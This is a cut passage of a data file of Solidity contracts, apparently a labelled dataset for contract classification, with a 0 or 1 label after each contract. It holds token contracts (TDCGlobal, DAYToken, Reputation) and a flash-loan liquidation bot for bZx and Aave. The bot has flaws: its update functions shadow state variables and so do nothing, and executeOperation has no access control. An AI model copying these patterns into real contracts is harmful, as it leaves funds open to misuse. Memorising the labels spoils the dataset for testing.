function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TDCGlobal is PausableToken
{
using SafeMath for uint256;
string public name="TDCGlobal";
string public symbol="GSET";
string public standard="ERC20";
address public lockAddress = 0xB8C9A3C2D82CF9c7F532cef4E94ff7E5a79eF7E5;
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 21 *(10**8)*(10 ** uint256(decimals));
uint256 public constant LOCAL_TOTAL = INITIAL_SUPPLY/5;
uint256 [] lockBalanceRequires = [LOCAL_TOTAL/4, LOCAL_TOTAL/4, LOCAL_TOTAL/4, LOCAL_TOTAL/4];
uint [] lockTimes = [
1567353600,
1598976000,
1630512000,
1662048000
];
event NewLock(address indexed target,uint256 indexed locktime,uint256 lockamount);
event UnLock(address indexed target,uint256 indexed unlocktime,uint256 unlockamount);
mapping(address => TimeLock[]) public allocations;
struct TimeLock
{
uint256 releaseTime;
uint256 balance;
}
constructor() public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
setAllocation(lockAddress, LOCAL_TOTAL, lockTimes, lockBalanceRequires);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(canSubAllocation(msg.sender, _value));
subAllocation(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to,uint256 _value) public returns (bool)
{
require(canSubAllocation(_from, _value));
subAllocation(_from);
return super.transferFrom(_from,_to, _value);
}
function canSubAllocation(address sender, uint256 sub_value) constant private returns (bool)
{
if (sub_value==0)
{
return false;
}
if (balances[sender] < sub_value)
{
return false;
}
if (allocations[sender].length == 0)
{
return true;
}
uint256 alllock_sum = 0;
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].releaseTime >= block.timestamp)
{
alllock_sum = alllock_sum.add(allocations[sender][j].balance);
}
}
uint256 can_unlock = balances[sender].sub(alllock_sum);
return can_unlock >= sub_value;
}
function subAllocation(address sender) private
{
uint256 total_lockamount = 0;
uint256 total_unlockamount = 0;
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].releaseTime < block.timestamp)
{
total_unlockamount = total_unlockamount.add(allocations[sender][j].balance);
allocations[sender][j].balance = 0;
}
else
{
total_lockamount = total_lockamount.add(allocations[sender][j].balance);
}
}
if (total_unlockamount > 0)
{
emit UnLock(sender, block.timestamp, total_unlockamount);
}
if(total_lockamount == 0 && allocations[sender].length > 0)
{
delete allocations[sender];
}
}
function setAllocation(address _address, uint256 total_value, uint[] times, uint256[] balanceRequires) public onlyOwner returns (bool)
{
require(times.length == balanceRequires.length);
require(balances[msg.sender]>=total_value);
uint256 sum = 0;
for (uint x=0; x<balanceRequires.length; x++)
{
require(balanceRequires[x]>0);
sum = sum.add(balanceRequires[x]);
}
require(total_value >= sum);
for (uint i=0; i<times.length; i++)
{
bool find = false;
for (uint j=0; j<allocations[_address].length; j++)
{
if (allocations[_address][j].releaseTime == times[i])
{
allocations[_address][j].balance = allocations[_address][j].balance.add(balanceRequires[i]);
find = true;
break;
}
}
if (!find)
{
allocations[_address].push(TimeLock(times[i], balanceRequires[i]));
}
}
emit NewLock(_address, block.timestamp, sum);
return super.transfer(_address, total_value);
}
} | 1 | 2,897 |
pragma solidity >= 0.6.6;
interface bzxRead {
function getLoan(bytes32 loanId) external view returns(bytes32 loanId1, uint96 endTimestamp, address loanToken, address collateralToken, uint256 principal, uint256 collateral, uint256 interestOwedPerDay, uint256 interestDepositRemaining, uint256 startRate, uint256 startMargin, uint256 maintenanceMargin, uint256 currentMargin, uint256 maxLoanTerm, uint256 maxLiquidatable, uint256 maxSeizable);
}
interface bzxWrite {
function liquidate(bytes32 loanId, address receiver, uint256 closeAmount) payable external;
}
interface UniswapV2 {
function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns(uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external returns(uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidityETH(address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external returns(uint256 amountToken, uint256 amountETH);
function removeLiquidity(address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns(uint256 amountA, uint256 amountB);
function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns(uint256[] memory amounts);
function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns(uint256[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
}
interface FlashLoanInterface {
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params) external;
}
interface ERC20 {
function totalSupply() external view returns(uint supply);
function balanceOf(address _owner) external view returns(uint balance);
function transfer(address _to, uint _value) external returns(bool success);
function transferFrom(address _from, address _to, uint _value) external returns(bool success);
function approve(address _spender, uint _value) external returns(bool success);
function allowance(address _owner, address _spender) external view returns(uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
contract BZXAAVEFLASHLIQUIDATE {
address payable owner;
address ETH_TOKEN_ADDRESS = address(0x0);
address payable aaveRepaymentAddress = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
address uniAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bzxRead bzx0 = bzxRead(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
address bzx1Address = 0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f;
bzxWrite bzx1 = bzxWrite(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
UniswapV2 usi = UniswapV2(uniAddress);
FlashLoanInterface fli = FlashLoanInterface(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
bytes theBytes;
address aaveEthAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
ERC20 wethToken = ERC20(wethAddress);
address currentCToken;
address currentLToken;
uint256 currentMaxLiq;
bytes32 currentLoanId;
modifier onlyOwner() {
if (msg.sender == owner) _;
}
constructor() public payable {
owner = msg.sender;
}
fallback() external payable {
}
function updateBZXs(address newAddress) onlyOwner public {
bzxRead bzx0 = bzxRead(newAddress);
address bzx1Address = newAddress;
bzxWrite bzx1 = bzxWrite(newAddress);
}
function updateFlashLoanAddress(address newAddress) onlyOwner public {
FlashLoanInterface fli = FlashLoanInterface(newAddress);
}
function updateAaveEthAddress(address newAddress) onlyOwner public {
aaveEthAddress = newAddress;
}
function updateAaveRepayment(address payable newAddress) onlyOwner public {
aaveRepaymentAddress = newAddress;
}
function updateUniAddress(address newAddress) onlyOwner public {
UniswapV2 usi = UniswapV2(newAddress);
}
function setLoanInfo(address cToken, address lToken, uint maxLiq, bytes32 loanId2) public onlyOwner {
currentCToken = cToken;
currentLToken = lToken;
currentMaxLiq = maxLiq;
currentLoanId = loanId2;
}
function getLoanInfo1(bytes32 loanId) public view returns(bytes32 loanId1, address loanToken, address collateralToken, uint256 principal, uint256 collateral, uint256 maxLiquidatable) {
(bytes32 loanId1, , address loanToken, address collateralToken, uint256 principal, uint256 collateral, , , , , , , , uint256 maxLiquidatable, ) = bzx0.getLoan(loanId);
return (loanId1, loanToken, collateralToken, principal, collateral, maxLiquidatable);
}
function flashLoanAndLiquidate(bytes32 loanId) onlyOwner public {
(bytes32 loanId1, uint96 endTimestamp, address loanToken, address collateralToken, uint256 principal, uint256 collateral, , , , , , uint256 currentMargin, uint256 maxLoanTerm, uint256 maxLiquidatable, uint256 maxSeizable) = bzx0.getLoan(loanId);
currentCToken = collateralToken;
currentLToken = loanToken;
currentMaxLiq = maxLiquidatable;
currentLoanId = loanId;
address tokenAddToUse = loanToken;
if (loanToken == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) {
tokenAddToUse = aaveEthAddress;
}
performFlash(tokenAddToUse, maxLiquidatable);
}
function performFlash(address tokenAddToUse, uint maxLiquidatable) public onlyOwner {
fli.flashLoan(address(this), tokenAddToUse, maxLiquidatable, theBytes);
}
function performUniswap(address sellToken, address buyToken, uint256 amountSent) public returns(uint256 amounts1) {
ERC20 sellToken1 = ERC20(sellToken);
ERC20 buyToken1 = ERC20(currentLToken);
if (sellToken1.allowance(address(this), uniAddress) <= amountSent) {
sellToken1.approve(uniAddress, 100000000000000000000000000000000000);
}
require(sellToken1.balanceOf(address(this)) >= amountSent, "You dont have enough Ctoken to perform this in performUniswap");
address[] memory addresses = new address[](2);
addresses[0] = sellToken;
addresses[1] = buyToken;
uint256[] memory amounts = performUniswapActual(addresses, amountSent);
uint256 resultingTokens = amounts[1];
return resultingTokens;
}
function performUniswapActual(address[] memory theAddresses, uint amount) public returns(uint256[] memory amounts1) {
uint256 deadline = 1000000000000000;
uint256[] memory amounts = usi.swapExactTokensForTokens(amount, 1, theAddresses, address(this), deadline);
return amounts;
}
function performTrade(bool isItEther, uint256 amount1) public returns(uint256) {
uint256 startingETHBalance = address(this).balance;
ERC20 tokenToReceive = ERC20(currentCToken);
uint256 startingCBalance = tokenToReceive.balanceOf(address(this));
if (isItEther == true) {
} else {
ERC20 bzLToken = ERC20(currentLToken);
if (bzLToken.allowance(address(this), bzx1Address) <= currentMaxLiq) {
bzLToken.approve(bzx1Address, (currentMaxLiq * 100));
}
}
if (isItEther == false) {
bzx1.liquidate(currentLoanId, address(this), currentMaxLiq);
} else {
bzx1.liquidate {value: amount1}(currentLoanId, address(this), currentMaxLiq);
}
uint256 amountBack = 0;
if (address(this).balance > startingETHBalance) {
uint256 newETH = address(this).balance - startingETHBalance;
wethToken.deposit {value: newETH}();
amountBack = performUniswap(wethAddress, currentLToken, newETH);
}
else {
uint256 difCBalance = tokenToReceive.balanceOf(address(this)) - startingCBalance;
require(difCBalance >0, "Balance of Collateral token didnt go up after swap didnt go up");
amountBack = performUniswap(currentCToken, currentLToken, difCBalance);
}
return amountBack;
}
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external {
bool isEther;
if (_reserve == aaveEthAddress) {
isEther = true;
} else {
isEther = false;
}
uint256 tradeResp = performTrade(isEther, _amount);
require(tradeResp > 0, "You didnt fet anything from uni");
if (_reserve == aaveEthAddress) {
uint256 repayAmount = (_amount + _fee);
uint256 ourEthBalance = address(this).balance;
wethToken.withdraw((_amount + _fee));
require(tradeResp >= (repayAmount / 10), "Not enough eth");
aaveRepaymentAddress.call{value: repayAmount}("");
} else {
ERC20 firstToken = ERC20(_reserve);
firstToken.transfer(aaveRepaymentAddress, (_amount + _fee));
}
}
function getTokenBalance(address tokenAddress) public view returns(uint256) {
ERC20 theToken = ERC20(tokenAddress);
return theToken.balanceOf(address(this));
}
function withdraw(address token) public onlyOwner returns(bool) {
if (address(token) == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
uint256 amount = address(this).balance;
msg.sender.transfer(amount);
}
else {
ERC20 tokenToken = ERC20(token);
uint256 tokenBalance = tokenToken.balanceOf(address(this));
require(tokenToken.transfer(msg.sender, (tokenBalance)));
}
return true;
}
function kill() virtual public {
if (msg.sender == owner) {
selfdestruct(owner);
}
}
} | 0 | 198 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "DAYToken";
string constant TOKEN_SYMBOL = "DAYT";
bool constant PAUSED = false;
address constant TARGET_USER = 0xA8eBce443fdDd76cC1AB018D96B4F5E3b629f1E6;
uint constant START_TIME = 1519858800;
bool constant CONTINUE_MINTING = false;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
if (PAUSED) {
pause();
}
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 3,184 |
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.2;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
